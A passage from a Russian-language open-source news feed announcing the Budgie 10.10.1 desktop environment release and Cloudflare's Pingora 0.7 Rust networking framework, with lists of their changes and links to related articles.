  1. OpenNews: Выпуск платформы Lutris 0.5.19 для упрощения доступа к играм из Linux
  2. OpenNews: Выпуск свободного эмулятора классических квестов ScummVM 2.9.0
  3. OpenNews: Опубликован исходный код Mikage, эмулятора Nintendo 3DS
  4. OpenNews: Выпуск PCSX2 2.6.0, эмулятора Sony Playstation 2
Обсуждение (54 +15) | Тип: Программы |
·31.01.2026 Выпуск среды рабочего стола Budgie 10.10.1 (8 +3)
  Представлен выпуск среды рабочего стола Budgie 10.10.1, первое обновление ветки, переведённой на использование протокола Wayland. Код проекта распространяется под лицензией GPLv2. Пакеты с Budgie 10.10.1 доступны в Fedora Rawhide и войдут в состав дистрибутивов Fedora 44 и Ubuntu Budgie 26.04.

Среди изменений в новой версии:

  • Реализована новая библиотека для унификации доступа к параметрам мониторов в различных компонентах Budgie. Использование библиотеки позволило повысить стабильность при переключении в графический интерфейс с консоли и при подключения/отключения монитора. Решена проблема с аварийным завершением панели, когда не удалось обнаружить монитор.
  • Улучшена интеграция с композитным менеджером Labwc. На выбор в настройках предоставлено три режима переключения фокуса ввода: смена фокуса после клика; переключение фокуса и вывод на передний план окна после попадания в него курсора мыши; переключение фокуса без вывода на передний план окна после попадания в него курсора мыши.
  • Переработано управление яркостью экрана, которое больше не зависит от GNOME Settings Daemon и завязано на собственный обработчик budgie-brightness-helper, использующий для изменения яркости интерфейс /sys/class/backlight.
  • Улучшено масштабирование обоев рабочего стола при отображении на мониторе с другим соотношением сторон. Реализована возможность выбора стиля размещения обоев на экране при использовании swaybg и его применения вместо растягивания изображения на всю ширину экрана.

  1. OpenNews: Среда рабочего стола Budgie переходит с GTK на Qt и KDE Frameworks
  2. OpenNews: Доступна среда рабочего стола Budgie 10.10, переведённая на Wayland
  3. OpenNews: План развития пользовательского окружения Budgie после превращения в независимый проект
  4. OpenNews: Джошуа Стробл ушёл из проекта Solus и будет отдельно развивать рабочий стол Budgie
  5. OpenNews: Рабочий стол Budgie переходит с GTK на библиотеки EFL от проекта Enlightenment
Обсуждение (8 +3) | Тип: Программы |
·31.01.2026 Выпуск Pingora 0.7, фреймворка для создания сетевых сервисов (60 +8)
  Компания Cloudflare опубликовала выпуск фреймворка Pingora 0.7, предназначенного для разработки защищённых высокопроизводительных сетевых сервисов на языке Rust. Построенный при помощи Pingora прокси уже более двух лет используется в сети доставки контента Cloudflare вместо nginx и обрабатывает более 40 млн запросов в секунду. Код написан на языке Rust и опубликован под лицензией Apache 2.0.

Основные возможности Pingora:

  • Поддержка HTTP/1 и HTTP/2 (в планах HTTP/3), а также возможность создания сервисов, использующих свои протоколы или UDP/TCP.
  • Поддержка многопоточной обработки запросов в асинхронном режиме.
  • Возможность прикрепления callback-обработчиков и фильтров, позволяющих управлять различными стадиями обработки запроса, а также изменять, перенаправлять, блокировать и журналировать запросы и ответы.
  • Проксирование gRPC и WebSocket.
  • Подключаемые балансировщики нагрузки.
  • Возможность изменения конфигурации без перезапуска.
  • Поддержка обновления кода приложения без разрыва соединений.
  • Средства для переключения нагрузки в случае сбоя (failover).
  • Интеграция с различными системами мониторинга и ведения логов (Syslog, Prometheus, Sentry, OpenTelemetry).
  • Поддержка TLS-шифрования (применяется OpenSSL, BoringSSL или Rustls).
  • Готовые Rust-пакеты для создания HTTP-прокси, работы с сетевыми протоколами, разбора заголовков HTTP, учёта и ограничения трафика, балансировки нагрузки, работы с распределённой хэш-таблицей Ketama, поддержания кэша в оперативной памяти и асинхронной обработки таймаутов.

Среди изменений в новой версии:

  • В структуру SslDigest добавлено поле "extension", а для типажа TlsAccept реализован обработчик handshake_complete_callback, позволяющие прикреплять к TLS-соединению произвольные данные, специфичные для приложения. В качестве примера показано как использовать данную возможность для создания сервера, читающего информацию из сертификата клиента и возвращающего её в HTTP-ответе.
  • Добавлен типаж ConnectionFilter для фильтрации TCP-соединений на стадии до согласования параметров TLS, что позволяет экономить ресурсы, сбрасывая соединения на ранней стадии.
  • Добавлена поддержка виртуальных потоков транспортного уровня (Virtual L4 Streams), позволяющих интегрировать в pingora-proxy собственные реализации сетевых протоколов.
  • Реализована возможность использования опций verify_cert и verify_hostname в конфигурациях с rustls.
  • Для внешних crate-пакетов разрешён доступ к структуре HttpProxy для переопределения логики проксирования запросов.
  • Разрешено выделение фоновых обработчиков подзапросов из основного обработчика сеанса.
  • Предоставлена возможность отслеживания размера тела запросов HTTP1 и HTTP2, а также метрик работы прокси.
  • Добавлена возможность создания собственных сеансов для инкапсулированного HTTP-трафика.
  • Выставлено ограничения на использование версий библиотеки lru (0.16.3 или новее) из-за уязвимости в реализации итератора IterMut, приводящей к аварийному завершению из-за срабатывания проверки заимствования переменных (borrow checker).

  1. OpenNews: Выпуск Pingora 0.6, фреймворка для создания сетевых сервисов
  2. OpenNews: Компания Cloudflare открыла код Pingora, инструментария для создания сетевых сервисов
  3. OpenNews: Cloudflare перешёл с NGINX на собственный прокcи Pingora, написанный на языке Rust
  4. OpenNews: Уязвимость в реализациях протокола HTTP/2, упрощающая проведение DoS-атак
  5. OpenNews: Выпуск HTTP/TCP-балансировщика HAProxy 3.0
Обсуждение (60 +8) | Тип: Программы |
Следующая страница (раньше) >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2026 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру